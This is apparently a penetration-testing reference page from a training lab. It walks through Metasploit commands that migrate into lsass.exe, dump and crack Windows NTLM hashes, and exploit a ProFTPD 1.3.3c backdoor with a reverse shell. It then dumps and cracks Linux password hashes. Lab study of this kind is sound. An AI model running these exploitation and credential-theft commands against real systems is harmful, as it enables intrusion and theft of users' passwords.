> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/metasploit-and-meterpreter/password-hash-cracking.md).

# Password Hash cracking

We have successfully exploited a badblue server. Migrate the current process into lsass.exe

```
migrate -N lsass.exe
```

<figure><img src="https://assets.ine.com/lab/learningpath/924c0ed4694862d36b0b0080a276272c9de3a371d7bd85f603f420d1330d6eaf.png" alt=""><figcaption></figcaption></figure>

Dump NTLM hashes

```
hashdump
```

<figure><img src="https://assets.ine.com/lab/learningpath/894817876357d3c82effbdadb54ef3dd10c2f64f6ed0381b8791931a80b57e47.png" alt=""><figcaption></figcaption></figure>

**Step 8:** Verify that the hashes are stored in the MSF database or not.

**Command:**

```
background
creds
```

<figure><img src="https://assets.ine.com/lab/learningpath/9394f9d3e46ffcf68b363a378d54b4b1d341b29ffb29805dfbe20c9d1f49f211.png" alt=""><figcaption></figcaption></figure>

**Step 9:** Use an auxiliary ntlm hash cracking module to crack stored NTLM hashes.

**Commands:**

```
use auxiliary/analyze/crack_windows
set CUSTOM_WORDLIST /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
exploit
```

<figure><img src="https://assets.ine.com/lab/learningpath/a4dde6899ecfdcd755a8f529e3eb378963218f5532038db95ba9d346fbca3900.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://assets.ine.com/lab/learningpath/bbe06d568e907901c2a9f268123394600fbf716607aa0cc837daf176463a34ab.png" alt=""><figcaption></figcaption></figure>

### Linux Hash cracking

We will start the postgresql database server on the attacker machine. We are starting postgresql to store all metasploit loot and other sensitive information from the target machine.

```
/etc/init.d/postgresql start
```

<figure><img src="https://assets.ine.com/lab/learningpath/e171122e6bd0afba77d8c6f3e30c24a352f2630ad81251c9024cbc261b8cd9dc.jpg" alt=""><figcaption></figcaption></figure>

We have started postgresql database server. Start metasploit framework and exploit proftpd server using exploit/unix/ftp/proftpd\_133c\_backdoor module.

Make sure to replace LHOST with the IP address of the attacker machine.

```
msfconsole -q
use exploit/unix/ftp/proftpd_133c_backdoor
set payload payload/cmd/unix/reverse
set RHOSTS demo.ine.local
set LHOST 192.70.114.2
exploit -z
```

<figure><img src="https://assets.ine.com/lab/learningpath/745ad12973f754da8faf7651ceb9ef6efe9a2de11bda5823853071ed4f9a86ba.jpg" alt=""><figcaption></figcaption></figure>

We have exploited the target ftp server. We will use a post exploitation module to dump the system users hashes.

```
use post/linux/gather/hashdump
set SESSION 1
exploit
```

<figure><img src="https://assets.ine.com/lab/learningpath/f7abf6bd169b8bdda37b46c45c5d04f20f330abc1b3607b752b039872432cdf7.jpg" alt=""><figcaption></figcaption></figure>

Run the provided auxiliary module to find the plain text password of the root user.

```
use auxiliary/analyze/crack_linux
set SHA512 true
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/3d61da62280f5d9ffebd72d7d3637bda832450158fb0262dde9b1d06e9517c54.jpg" alt=""><figcaption></figcaption></figure>
